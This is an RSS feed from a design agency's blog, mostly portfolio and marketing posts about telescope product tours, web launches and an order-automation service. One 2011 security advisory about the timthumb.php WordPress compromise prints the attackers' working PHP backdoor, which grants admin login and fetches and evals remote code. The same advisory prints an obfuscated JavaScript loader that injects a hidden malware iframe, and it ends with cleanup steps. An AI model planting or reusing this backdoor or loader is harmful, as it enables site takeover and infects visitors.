<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>GammaFX, Inc.</title>
	<atom:link href="http://www.gammafx.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gammafx.com</link>
	<description>Advanced creative solutions for your brand</description>
	<lastBuildDate>Wed, 28 Mar 2012 04:08:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Sanuk.com Launches GammaDispatch Automation</title>
		<link>http://www.gammafx.com/blog/2012/03/20/sanuk-com-launches-gammadispatch-automation/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=sanuk-com-launches-gammadispatch-automation</link>
		<comments>http://www.gammafx.com/blog/2012/03/20/sanuk-com-launches-gammadispatch-automation/#comments</comments>
		<pubDate>Tue, 20 Mar 2012 21:57:15 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[gammadispatch]]></category>
		<category><![CDATA[shopatron]]></category>
		<category><![CDATA[shopatron automation]]></category>
		<category><![CDATA[XML RPC]]></category>

		<guid isPermaLink="false">http://www.gammafx.com/?p=568</guid>
		<description><![CDATA[Deckers Outdoor Corporation, a global company that operates lifestyle brands such as UGG® Australia, Teva®, Sanuk®, Mozo®, Ahnu® and Tsubo® launched GammaDispatch Shopatron Automation for their Sanuk® eCommerce store. GammaDispatch fully automates the flow of orders from Shopatron-powered Sanuk.com into Decker&#8217;s back-office software allowing Sanuk team to focus on what they do best &#8211; building distinctively designed footwear [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.gammafx.com/wp-content/uploads/2012/03/sanuk-logo.jpg"><img class="size-full wp-image-574 alignright" title="sanuk-logo" src="http://www.gammafx.com/wp-content/uploads/2012/03/sanuk-logo.jpg" alt="" width="200" height="69" /></a>Deckers Outdoor Corporation, a global company that operates lifestyle brands such as UGG® Australia, Teva®, Sanuk®, Mozo®, Ahnu® and Tsubo® launched <a title="GammaDispatch.com" href="http://info.gammadispatch.com" target="_blank">GammaDispatch</a> Shopatron Automation for their Sanuk® eCommerce store.</p>
<p><a title="GammaDispatch.com" href="http://info.gammadispatch.com" target="_blank">GammaDispatch</a> fully automates the flow of orders from Shopatron-powered Sanuk.com into Decker&#8217;s back-office software allowing Sanuk team to focus on what they do best &#8211; building distinctively designed footwear products for the global outdoor community.</p>
<p>Prior to implementing <a title="GammaDispatch.com" href="http://info.gammadispatch.com" target="_blank">GammaDispatch</a>, brands like Sanuk spent countless man-hours looking up availability, accepting orders, fetching packing slips and reporting shipping info back to Shopatron. All they have to do now is sit back, relax and watch the orders roll in.</p>
<p><a title="GammaDispatch.com" href="http://info.gammadispatch.com" target="_blank">GammaDispatch</a>&#8216;s flexible pricing combined with fast implementation period of about a week, makes it the easiest and most cost effective Shopatron Automation solution around.</p>
<p><a title="Request A Quote" href="http://info.gammadispatch.com/contact-us/request-a-quote/" target="_blank">Contact us</a> today to get a free quote.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2012/03/20/sanuk-com-launches-gammadispatch-automation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SkyProdigy6 &#8211; 3D Product Tour</title>
		<link>http://www.gammafx.com/blog/2012/02/22/skyprodigy6-3d-product-tour/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=skyprodigy6-3d-product-tour</link>
		<comments>http://www.gammafx.com/blog/2012/02/22/skyprodigy6-3d-product-tour/#comments</comments>
		<pubDate>Wed, 22 Feb 2012 01:17:08 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[3D / Video / Multimedia]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[3d]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[multimedia]]></category>
		<category><![CDATA[product tours]]></category>
		<category><![CDATA[voiceover]]></category>

		<guid isPermaLink="false">http://www.gammafx.com/?p=551</guid>
		<description><![CDATA[Client: Celestron, LLC Project URL: http://www.celestron.com/astronomy/skyprodigy-6-computerized-telescope.html?trigger=media-237 Summary: Sophisticated product tour showcasing a new computerized telescope. A truly revolutionary product with ground breaking technology, SkyProdigy is the product of a culmination of decades of telescope advancements.  It combines electronic motors, an intelligent on-board computer, a digital camera and StarSense™ technology to create an automatic, instant alignment [...]]]></description>
			<content:encoded><![CDATA[<p><a class="fancybox iframe" href="http://www.youtube.com/embed/z1vZScZvCIw?rel=0&amp;autoplay=1&amp;width=800&amp;height=485&amp;frameborder=0"><img class="alignnone size-full wp-image-544" title="SkyProdigy6 - 3D Product Tour" src="http://www.gammafx.com/wp-content/uploads/2012/02/skyprodigy6-tour.jpg" alt="" width="400" height="150" /></a></p>
<p><strong>Client:</strong> Celestron, LLC</p>
<p><strong>Project URL:</strong> <a href="http://www.celestron.com/astronomy/skyprodigy-6-computerized-telescope.html?trigger=media-237" target="blank">http://www.celestron.com/astronomy/skyprodigy-6-computerized-telescope.html?trigger=media-237</a><br />
<strong></strong></p>
<p><strong>Summary:</strong> Sophisticated product tour showcasing a new computerized telescope.</p>
<p>A truly revolutionary product with ground breaking technology, SkyProdigy is the product of a culmination of decades of telescope advancements.  It combines electronic motors, an intelligent on-board computer, a digital camera and StarSense™ technology to create an automatic, instant alignment telescope that requires no input from the user.  Simply turn it on, push a button and enjoy the view!  It’s that easy.</p>
<p><strong>To learn what our multimedia production team can do for your product, please <a href="http://www.gammafx.com/contact-us/">contact us</a> today.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2012/02/22/skyprodigy6-3d-product-tour/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2012 CES: Onsite Video Production</title>
		<link>http://www.gammafx.com/blog/2012/02/20/2012-ces-product-video-production/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=2012-ces-product-video-production</link>
		<comments>http://www.gammafx.com/blog/2012/02/20/2012-ces-product-video-production/#comments</comments>
		<pubDate>Mon, 20 Feb 2012 22:38:47 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[3D / Video / Multimedia]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[Filming]]></category>
		<category><![CDATA[multimedia]]></category>
		<category><![CDATA[Post production]]></category>
		<category><![CDATA[product tours]]></category>

		<guid isPermaLink="false">http://www.gammafx.com/?p=547</guid>
		<description><![CDATA[Client: Celestron, LLC Project URL: http://www.youtube.com/watch?v=LiK_F2beE4w Summary: GammaFX Design Studio&#8217;s video production crew was at the 2012 Consumer Electronics show in Las Vegas to produce several product videos for our clients. This video features Celestron&#8217;s regional sales manager talking about a new high-end astro-imaging system showcased at CES. Trade shows offer a unique opportunity to [...]]]></description>
			<content:encoded><![CDATA[<p><a class="fancybox iframe" href="http://www.youtube.com/embed/Vi9GvR6bAqU?rel=0&amp;autoplay=1&amp;width=800&amp;height=485&amp;frameborder=0"><img class="alignnone size-full wp-image-544" title="cpc-deluxe-video" src="http://www.gammafx.com/wp-content/uploads/2012/02/cpc-deluxe-video-ces.jpg" alt="" width="400" height="150" /></a></p>
<p><strong>Client:</strong> Celestron, LLC</p>
<p><strong>Project URL:</strong> <a class="fancybox iframe" href="http://www.youtube.com/embed/Vi9GvR6bAqU?rel=0&amp;autoplay=1&amp;width=800&amp;height=485&amp;frameborder=0">http://www.youtube.com/watch?v=LiK_F2beE4w</a><br />
<strong></strong></p>
<p><strong>Summary:</strong> GammaFX Design Studio&#8217;s video production crew was at the 2012 Consumer Electronics show in Las Vegas to produce several product videos for our clients. This video features Celestron&#8217;s regional sales manager talking about a new high-end astro-imaging system showcased at CES.</p>
<p>Trade shows offer a unique opportunity to capture the excitement generated by the new product and provide an excellent backdrop for the interview-style videos with sales staff and product managers. <strong>To learn what our production team can do for your brand at the next trade show, please <a href="http://www.gammafx.com/contact-us/">contact us</a> today.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2012/02/20/2012-ces-product-video-production/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>3D Animated Product Tour</title>
		<link>http://www.gammafx.com/blog/2012/02/20/3d-animated-product-tour/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=3d-animated-product-tour</link>
		<comments>http://www.gammafx.com/blog/2012/02/20/3d-animated-product-tour/#comments</comments>
		<pubDate>Mon, 20 Feb 2012 22:15:44 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[3D / Video / Multimedia]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[3d]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[multimedia]]></category>
		<category><![CDATA[product tours]]></category>

		<guid isPermaLink="false">http://www.gammafx.com/?p=542</guid>
		<description><![CDATA[Client: Celestron, LLC Project URL: http://www.celestron.com/astronomy/telescopes/celestron-cpc-deluxe-1100-hd.html?trigger=media-238 Summary: GammaFX Design Studio created simple  3D product tour to showcase Celestron&#8217;s new high-end telescope setup at the 2012 Consumer Electronics show.  This video was playing on the flat panel TV at the booth and was featured on their informational touch screen kiosk.]]></description>
			<content:encoded><![CDATA[<p><a class="fancybox iframe" href="http://www.celestron.com/astronomy/telescopes/celestron-cpc-deluxe-1100-hd.html?trigger=media-238"><img class="alignnone size-full wp-image-544" title="cpc-deluxe-video" src="http://www.gammafx.com/wp-content/uploads/2012/02/cpc-deluxe-video.jpg" alt="" width="400" height="150" /></a></p>
<p><strong>Client:</strong> Celestron, LLC</p>
<p><strong>Project URL:</strong> <a href="http://www.celestron.com/astronomy/telescopes/celestron-cpc-deluxe-1100-hd.html?trigger=media-238">http://www.celestron.com/astronomy/telescopes/celestron-cpc-deluxe-1100-hd.html?trigger=media-238</a><br />
<strong></strong></p>
<p><strong>Summary:</strong> GammaFX Design Studio created simple  3D product tour to showcase Celestron&#8217;s new high-end telescope setup at the 2012 Consumer Electronics show.  This video was playing on the flat panel TV at the booth and was featured on their informational touch screen kiosk.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2012/02/20/3d-animated-product-tour/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gamma360 &#8211; 360 Degree Product Views</title>
		<link>http://www.gammafx.com/blog/2012/01/17/product-360s/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=product-360s</link>
		<comments>http://www.gammafx.com/blog/2012/01/17/product-360s/#comments</comments>
		<pubDate>Tue, 17 Jan 2012 21:24:16 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[3D / Video / Multimedia]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[3d]]></category>
		<category><![CDATA[interactive]]></category>

		<guid isPermaLink="false">http://www.gammafx.com/?p=533</guid>
		<description><![CDATA[GammaFX Helps Brands Reveal a New Dimension of  Their Products with Our New Gamma360 Service In 2012 we are proud to release a new solution that allows brands quickly deploy stunning interactive 360-degree product views on their websites.  Utilizing our 3D modeling and rendering expertise in conjunction with our cross-platform 360 player, Gamma360 is a one stop [...]]]></description>
			<content:encoded><![CDATA[<p><em><strong><a href="http://www.gammafx.com/blog/2012/01/17/product-360s/"><img title="gamma360" src="http://www.gammafx.com/wp-content/uploads/2012/01/gamma360.jpg" alt="" width="400" height="150" /></a></strong></em></p>
<p><em><strong>GammaFX Helps Brands Reveal a New Dimension of  Their Products with Our New </strong><span style="color: #000000;"><strong>Gamma360</strong></span><strong> Service</strong></em></p>
<p>In 2012 we are proud to release a new solution that allows brands quickly deploy stunning interactive 360-degree product views on their websites.  Utilizing our 3D modeling and rendering expertise in conjunction with our cross-platform 360 player, <strong>Gamma360</strong> is a one stop solution for creating and deploying product 360s for the web, interactive product kiosks or mobile devices.</p>
<p><a href="http://www.gammafx.com/demos/DeluxeCPC1100HD360/index.html" class="fancy360"><img class="alignnone size-full wp-image-536" title="360demo" src="http://www.gammafx.com/wp-content/uploads/2012/01/360demo.png" alt="" width="90" height="90" /></a></p>
<p><strong>How It Works?</strong></p>
<p>Gamma360 does not rely on photography or video.  Instead, we use CAD models provided by you to create life-like renderings of your product.  The final product, wrapped in our cross-platform player can be hosted on our content delivery network or reside on your website.</p>
<p><strong>To get started, <a href="http://www.gammafx.com/contact-us/">contact us</a> today!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2012/01/17/product-360s/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GammaFX Helps Celestron Launch A Stellar New Website</title>
		<link>http://www.gammafx.com/blog/2011/12/26/gammafx-helps-celestron-launch-a-stellar-new-website/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=gammafx-helps-celestron-launch-a-stellar-new-website</link>
		<comments>http://www.gammafx.com/blog/2011/12/26/gammafx-helps-celestron-launch-a-stellar-new-website/#comments</comments>
		<pubDate>Mon, 26 Dec 2011 19:43:25 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[Web Development / Design]]></category>

		<guid isPermaLink="false">http://www.gammafx.com/?p=525</guid>
		<description><![CDATA[Client: Celestron, LLC Project URL: http://www.celestron.com/ A spectacular Redesign Puts the Focus on Consumers Celestron, a leading designer and manufacturer of telescopes, binoculars, spotting scopes, microscopes, weather stations, GPS devices and related accessories, has just announced the debut of their remarkable new online destination – Celestron.com. With an astonishingly consumer-friendly new global portal and three parallel websites, each [...]]]></description>
			<content:encoded><![CDATA[<p><em><strong><a href="http://www.gammafx.com/blog/2011/12/26/gammafx-helps-celestron-launch-a-stellar-new-website/"><img class="alignnone size-full wp-image-527" title="New Celestron.com" src="http://www.gammafx.com/wp-content/uploads/2011/12/celestron.jpg" alt="" width="400" height="150" /></a></strong></em></p>
<p><strong>Client:</strong> Celestron, LLC</p>
<p><strong>Project URL:</strong> <a href="http://www.celestron.com/">http://www.celestron.com</a>/</p>
<p><span id="more-525"></span></p>
<p><em><strong>A spectacular Redesign Puts the Focus on Consumers</strong></em></p>
<p>Celestron, a leading designer and manufacturer of telescopes, binoculars, spotting scopes, microscopes, weather stations, GPS devices and related accessories, has just announced the debut of their remarkable new online destination – <a href="http://www.celestron.com/" target="_blank">Celestron.com</a>.</p>
<p>With an astonishingly consumer-friendly new global portal and three parallel websites, each dedicated to a specialty market, Celestron has streamlined the process of finding the perfect product by making every option accessible via product category and/or lifestyle pathways. And a universal shopping cart conveniently keeps track across the complementary sites for U.S. shoppers.</p>
<p>The result is that users can quickly and easily find the perfect fit for their needs whether they start out seeking a specific product type or feature or simply want to explore the options available to enhance their particular hobbies and interests.</p>
<p>“Celestron has always been known for top-of-the-line optic products at an accessible price point,” says Celestron President and CEO, Joseph A. Lupica, Jr. “But as our product line has expanded to include so many diverse and exciting recreational products as well, our client base has also grown larger and more diverse. This evolution is the perfect opportunity to continue engaging with our customers in a way that is more relevant to their experience.”</p>
<p>Built with ease of use in mind, the new <a href="http://www.celestron.com/" target="_blank">Celestron.com</a> website integrates all product information into a single screen with multiple product images and user-submitted photography. Smart “spec” and “activity” icons make assessing and comparing items a breeze. And, product tours and videos, user ratings and reviews, and a solid customer support system – complete with instructions, downloads, articles and manuals – are built right in. The new website even integrates spectacular user submitted astro photography from <a href="http://www.celestronimages.com/" target="_blank">CelestronImages.com</a>, one of the largest astroimaging communities in the world.</p>
<p>Of course, the new site is also fully integrated with social media like Facebook, Google+, Twitter, etc., and optimized for viewing on iPhones, iPads, and Android smart phones.</p>
<p>Visit <a href="http://www.celestron.com/" target="_blank">www.celestron.com</a> to experience the new, consumer-friendly website.</p>
<p><strong>About Celestron</strong></p>
<p>Celestron is a leading designer, manufacturer and importer of high-quality optical products including computerized and non-computerized telescopes and related accessories, weather stations, GPS devices, binoculars, spotting scopes and microscopes. Since manufacturing its first telescope in 1960, Celestron has grown to become the world’s leading telescope maker, and enjoys brand-name recognition among serious amateur astronomers for superior optics, outstanding design, and innovative technology. Celestron’s extraordinary products continue to receive numerous industry and consumer media accolades, adding to an already impressive list that includes awards for product innovation from Reader’s Digest, Popular Science, PC Magazine, Popular Mechanics, the Consumer Electronics Association and more. Celestron is a privately held company with corporate offices and manufacturing facilities, in Torrance, CA.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2011/12/26/gammafx-helps-celestron-launch-a-stellar-new-website/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New WordPress Malware Attack Exploiting timthumb.php Script</title>
		<link>http://www.gammafx.com/blog/2011/08/17/new-wordpress-malware-attack-exploiting-timthumb-php-script/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=new-wordpress-malware-attack-exploiting-timthumb-php-script</link>
		<comments>http://www.gammafx.com/blog/2011/08/17/new-wordpress-malware-attack-exploiting-timthumb-php-script/#comments</comments>
		<pubDate>Wed, 17 Aug 2011 16:51:47 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[technotes]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.gamafx.com/web-2-0/?p=504</guid>
		<description><![CDATA[There is a new malware infection that has been affecting thousands of WordPress sites that utilize popular timthumb.php image resizing script. Hackers create backdoor access in you website and inject malicious JavaScript that attempts to download various Trojans and malware on your visitor&#8217;s computers. At this stage of the infection attackers are also modifying two [...]]]></description>
			<content:encoded><![CDATA[<p>There is a new malware infection that has been affecting thousands of WordPress sites that utilize popular<strong> timthumb.php</strong> image resizing script.</p>
<p>Hackers create backdoor access in you website and inject malicious JavaScript that attempts to download various Trojans and malware on your visitor&#8217;s computers.</p>
<p>At this stage of the infection attackers are also modifying two of WordPress core files <strong>/wp-config.php</strong> and <strong>/wp-includes/js/l10n.js</strong></p>
<p><strong></strong>The <strong>wp-config.php </strong> gets the following new lines of code that allows hackers backdoor access to your website:</p>
<p><code> if (isset($_GET['pingnow'])&amp;&amp; isset($_GET['pass'])){<br />
if ($_GET['pass'] == ’66f041e16a60928b05a7e228a89c3799′){<br />
if ($_GET['pingnow']== ‘login’){<br />
$user_login = ‘admin’;<br />
$user = get_userdatabylogin($user_login);<br />
$user_id = $user-&gt;ID;<br />
wp_set_current_user($user_id, $user_login);<br />
wp_set_auth_cookie($user_id);<br />
do_action(‘wp_login’, $user_login);<br />
}<br />
if (($_GET['pingnow']== ‘exec’)&amp;&amp;(isset($_GET['file']))){<br />
$ch = curl_init($_GET['file']);<br />
$fnm = md5(rand(0,100)).’.php’;<br />
$fp = fopen($fnm, “w”);<br />
curl_setopt($ch, CURLOPT_FILE, $fp);<br />
curl_setopt($ch, CURLOPT_HEADER, 0);<br />
curl_setopt($ch, CURLOPT_TIMEOUT, 5);<br />
curl_exec($ch);<br />
curl_close($ch);<br />
fclose($fp);<br />
echo “// ”;<br />
}<br />
if (($_GET['pingnow']== ‘eval’)&amp;&amp;(isset($_GET['file']))){<br />
$ch = curl_init($_GET['file']);<br />
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br />
curl_setopt($ch, CURLOPT_HEADER, 0);<br />
curl_setopt($ch, CURLOPT_TIMEOUT, 5);<br />
$re = curl_exec($ch);<br />
curl_close($ch);<br />
eval($re);<br />
}}}<br />
</code></p>
<p>The attackers also add the following code to your <strong>l10n.js </strong>file.</p>
<p><code>var _0x4de4=["\x64\x20\x35\x28\x29\x7B\x62\x20\x30\x3D\x32\x2E\x63\x28\x22\x33\x22\x29\x3B\x32\x2E\x39\x2E\x36\x28\x30\x29\x3B\x30\x2E\x37\x3D\x27\x33\x27\x3B\x30\x2E\x31\x2E\x61\x3D\x27\x34\x27\x3B\x30\x2E\x31\x2E\x6B\x3D\x27\x34\x27\x3B\x30\x2E\x69\x3D\x27\x66\x3A\x2F\x2F\x67\x2D\x68\x2E\x6D\x2F\x6A\x2E\x65\x27\x7D\x38\x28\x35\x2C\x6C\x29\x3B","\x7C","\x73\x70\x6C\x69\x74","\x65\x6C\x7C\x73\x74\x79\x6C\x65\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x69\x66\x72\x61\x6D\x65\x7C\x31\x70\x78\x7C\x4D\x61\x6B\x65\x46\x72\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x69\x64\x7C\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74\x7C\x62\x6F\x64\x79\x7C\x77\x69\x64\x74\x68\x7C\x76\x61\x72\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x70\x68\x70\x7C\x68\x74\x74\x70\x7C\x63\x6F\x75\x6E\x74\x65\x72\x7C\x77\x6F\x72\x64\x70\x72\x65\x73\x73\x7C\x73\x72\x63\x7C\x66\x72\x61\x6D\x65\x7C\x68\x65\x69\x67\x68\x74\x7C\x31\x30\x30\x30\x7C\x63\x6F\x6D","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0x2f46x1,_0x2f46x2,_0x2f46x3,_0x2f46x4,_0x2f46x5,_0x2f46x6){_0x2f46x5=function (_0x2f46x3){return _0x2f46x3.toString(36)};if(!_0x4de4[5][_0x4de4[4]](/^/,String)){while(_0x2f46x3--){_0x2f46x6[_0x2f46x3.toString(_0x2f46x2)]=_0x2f46x4[_0x2f46x3]||_0x2f46x3.toString(_0x2f46x2);}_0x2f46x4=[function (_0x2f46x5){return _0x2f46x6[_0x2f46x5]}];_0x2f46x5=function (){return _0x4de4[6]};_0x2f46x3=1;};while(_0x2f46x3--){if(_0x2f46x4[_0x2f46x3]){_0x2f46x1=_0x2f46x1[_0x4de4[4]]( new RegExp(_0x4de4[7]+_0x2f46x5(_0x2f46x3)+_0x4de4[7],_0x4de4[8]),_0x2f46x4[_0x2f46x3]);}}return _0x2f46x1}(_0x4de4[0],23,23,_0x4de4[3][_0x4de4[2]](_0x4de4[1]),0,{}));</code></p>
<p>This appends an iframe to the bottom of your blog through which they can inject future malware:</p>
<p><code> &lt;iframe id="iframe" src="http://counter-wordpress.com/frame.php" style="width: 1px; height: 1px; "&gt;&lt;/iframe&gt;</code></p>
<p><strong>Solution</strong></p>
<ol>
<li> Immediately remove or update the <strong>timthumb.php </strong>script.  When removing don&#8217;t forget to also update your theme files that rely on this functionality.</li>
<li>Delete the <strong>cache</strong> folder located in the root of your template.</li>
<li>Remove the code above from your <strong>wp-config.php </strong>file.  Normally, the last line of that file should read: <em>require_once(ABSPATH . &#8216;wp-settings.php&#8217;);</em></li>
<li>Remove the code above from the <strong>/wp-includes/js/l10n.js </strong>file.</li>
<li>Update all WordPress and FTP passwords for good measure.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2011/08/17/new-wordpress-malware-attack-exploiting-timthumb-php-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Granite Binoculars 3D Tour</title>
		<link>http://www.gammafx.com/blog/2011/08/01/granite-binoculars-3d-tour/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=granite-binoculars-3d-tour</link>
		<comments>http://www.gammafx.com/blog/2011/08/01/granite-binoculars-3d-tour/#comments</comments>
		<pubDate>Mon, 01 Aug 2011 16:40:43 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[3D / Video / Multimedia]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Portfolio]]></category>

		<guid isPermaLink="false">http://www.gamafx.com/web-2-0/?p=468</guid>
		<description><![CDATA[Client: Celestron, LLC Project URL: http://www.youtube.com/watch?v=-_FmKN3_wXk Summary: GammaFX Design Studio created this sophisticated 3D product tour to showcase Celestron&#8217;s new line of high end binoculars.]]></description>
			<content:encoded><![CDATA[<p><a class="fancybox iframe" href="http://www.youtube.com/embed/-_FmKN3_wXk?rel=0&amp;autoplay=1&amp;width=800&amp;height=485&amp;frameborder=0"><img class="alignnone size-full wp-image-377" src="http://www.gammafx.com/wp-content/uploads/2011/08/granite.jpg" alt="" width="400" height="150" /></a></p>
<p><strong>Client:</strong> Celestron, LLC</p>
<p><strong>Project URL:</strong> <a class="fancybox iframe" href="http://www.youtube.com/embed/-_FmKN3_wXk?rel=0&amp;autoplay=1&amp;width=800&amp;height=485&amp;frameborder=0">http://www.youtube.com/watch?v=-_FmKN3_wXk</a><br />
<strong></strong></p>
<p><strong>Summary:</strong> GammaFX Design Studio created this sophisticated 3D product tour to showcase Celestron&#8217;s new line of high end binoculars.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gammafx.com/blog/2011/08/01/granite-binoculars-3d-tour/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SkyProdigy Ad Campaign Microsite</title>
		<link>http://www.gammafx.com/blog/2011/07/15/skyprodigy-ad-campaign-microsite/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=skyprodigy-ad-campaign-microsite</link>
		<comments>http://www.gammafx.com/blog/2011/07/15/skyprodigy-ad-campaign-microsite/#comments</comments>
		<pubDate>Fri, 15 Jul 2011 16:47:08 +0000</pubDate>
		<dc:creator>gammafx</dc:creator>
				<category><![CDATA[3D / Video / Multimedia]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[Web Development / Design]]></category>
		<category><![CDATA[ecommerce]]></category>
		<category><![CDATA[Filming]]></category>
		<category><![CDATA[multimedia]]></category>
		<category><![CDATA[Post production]]></category>
		<category><![CDATA[shopatron]]></category>
		<category><![CDATA[video production]]></category>
		<category><![CDATA[web design]]></category>
		<category><![CDATA[web development]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.gamafx.com/web-2-0/?p=472</guid>
		<description><![CDATA[Client: Celestron, LLC Project URL: http://celestronsites.com/skyprodigy Summary: To introduce their groundbreaking new SkyProdigy telescopes Celestron launched an ad campaign centered around Caroline Moore, who discovered a supernova at the age of 14. GammaFX team designed and build this microsite to support the ad campaign. We also produced all videos that are featured on the website. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://celestronsites.com/skyprodigy" target="_blank"><img src="http://www.gammafx.com/wp-content/uploads/2011/08/skyprodigy.jpg" alt="" width="400" height="150" class="alignnone size-full wp-image-473" /></a></p>
<p><strong>Client:</strong> Celestron, LLC</p>
<p><strong>Project URL:</strong> <a href="http://celestronsites.com/skyprodigy">http://celestronsites.com/skyprodigy</a><br />
<strong></strong></p>
<p><strong>Summary:</strong> To introduce their groundbreaking new SkyProdigy telescopes Celestron launched an ad campaign centered around Caroline Moore, who discovered a supernova at the age of 14.  GammaFX team designed and build this microsite to support the ad campaign.  We also produced all videos that are featured on the website.</p>
